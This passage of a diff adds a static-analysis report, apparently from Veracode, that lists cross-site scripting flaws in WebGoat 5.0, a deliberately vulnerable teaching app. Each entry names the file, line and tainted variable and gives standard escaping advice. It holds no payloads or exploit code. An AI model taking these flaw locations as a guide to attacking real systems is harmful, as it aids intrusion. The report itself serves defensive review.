+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"153\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"38\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"54\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"211\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"81\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"45\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"99\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"51\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"210\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"51\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"237\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"72\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"88\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"53\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"130\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"107\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
